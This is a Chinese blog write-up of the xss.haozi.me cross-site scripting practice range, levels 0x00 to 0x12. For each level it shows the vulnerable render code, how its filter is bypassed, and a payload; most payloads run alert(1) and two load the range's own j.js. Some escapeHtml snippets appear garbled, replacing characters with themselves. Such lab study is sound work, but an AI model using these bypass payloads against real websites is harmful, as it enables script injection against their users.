0x00
没有任何过滤,直接用最基本的payload打就行
<script>alert(1)</script>
0x01
审计代码
function render (input) {
return '<textarea>' + input + '</textarea>'
}
分析:<textarea>标签内为⽂本域,不能单纯的在中间插入<script>标签,因为标签会被解析成文本,所以我们⾸先闭合<textarea>标签,然后插⼊xss语句。
payload如下:
</textarea><script>alert(1)</script><textarea>
0x02
审计代码
function render (input) {
return '<input type="name" value="' + input + '">'
}
分析:input是我们的输入,先闭合双引号和标签(这里的单引号不闭合也可以,不闭合它就会和最前面的闭合),后面的>'不用闭合,不会被解析。然后插⼊xss语句。
payload如下:
"><script>alert(1)</script>
0x03
审计代码
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
分析:正则匹配过滤掉了小括号,可以使用反引号或html实体编码绕过
payload如下:
<script>alert`1`</script>
<img src='' onerror='alert(1)'>
0x04
审计代码
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
分析:过滤了反引号和中括号⼩括号,我们还可以编码绕过
payload如下:
<img src='' onerror='alert(1)'>
0x05
审计代码
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}
分析:本题过滤了后面的一段注释符,并且需要闭合掉前面的一段注释符,可以使用--!>来闭合掉前面的注释符
payload如下:
--!><img src='' onerror='alert(1)'>
0x06
审计代码
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
分析:正则过滤了on开头和auto开头的以=结束字符和尖括号>,但是没有检测换⾏
payload如下:
onmouseover
="alert(1)"
0x07
审计代码
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
分析:正则匹配了所有的html语法标签,只要有<>闭合,就会被过滤,可以利⽤html的特性,单尖括号不闭合
payload如下:
<img src='' onerror='alert(1)'
0x08
审计代码
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}
分析:正则过滤了</style>,但是没过滤插⼊空格和换行,我们可以通过空格或换行绕过
payload如下:
</style >
<script>alert(1)</script>
<style>
0x09
审计代码
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
分析:正则说的是输入的内容必须以 https://www.segmentfault.com 开头,再闭合前面的script标签,后面就可以随意插入恶意脚本,最后还要把后面的内容注释掉
payload如下:
https://www.segmentfault.com"></script><script>alert(1)</script>//
0x0A
审计代码
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
分析:这关也是必须以 https://www.segmentfault.com 开头,但是加了很多过滤,尖括号被过滤了,不能和上面一样闭合。这里思路是远程引用js代码,用@重定向来导入js,js里面写的是 alert(1);这里可以直接使用官方给出的js代码 j.js
payload如下:
https://www.segmentfault.com@xss.haozi.me/j.js
0X0B
审计代码
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}
分析:此关卡是将我们的输⼊转化为⼤写,在HTML语句中不区分⼤⼩写,所以说能识别到标签,但是想让js语句解析,必须要⽤⼩写,因此我们可以⽤html编码绕过他的⼤写。当然也可以使用上文所讲用远程引入js代码的方法绕过它的过滤
payload如下:
<img src="" onerror="alert(1)">
0x0C
审计代码
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
分析:过滤了script标签,同时和上关一样将我们的输入转化为大写,同样可以⽤html编码绕过
payload如下:
<img src="" onerror="alert(1)">
0x0D
审计代码
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}
分析:先用换行绕过注释符,本身已经在script标签里,所以直接可以alert(1),但是后面还有东西,再换行并用注释符-->注释掉
payload如下:
alert(1);
-->
0x0E
审计代码
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
分析:此关的正则匹配是<加上任何一个英⽂字⺟,并且将所输⼊的内容变为⼤写
这里补充一个小知识点,拉丁字⺟ſ(unicode编码为U+17F)⼤写后为S,可以使用它来绕过过滤
payload如下:
<ſcript src="https://xss.haozi.me/j.js"></script>
0x0F
审计代码
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}
分析:此关将输⼊⼀些特定字符替换为html编码,但是html编码会在标签内⾃动转换,所以说仅需要闭合括号即可
payload如下:
');alert(1);('
0x10
审计代码
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}
分析:此题仅需要补充完等号后⾯的东⻄,然后可以直接alert
payload如下:
1; alert(1);
0x11
审计代码
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}
分析:正则又是过滤了很多字符,看似复杂,其实就是将⼀些字符转义了而已,直接闭合引号和括号然后插⼊语句即可
payload如下:
");alert(1)("
0x12
审计代码
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}
分析:和上一关类似,此关把双引号替换为转义的双引号,只用在前面加上转义符来转义掉它替换后的转义符,后面用注释符注释
payload如下:
\");alert(1)//
至此,靶场已通关。
结语
第一次写博客,写的不好请师傅们多多包涵,有不懂的也欢迎找我相互交流,共同进步。也欢迎关注我,以后还会更新其他web靶场和一些有意思的misc题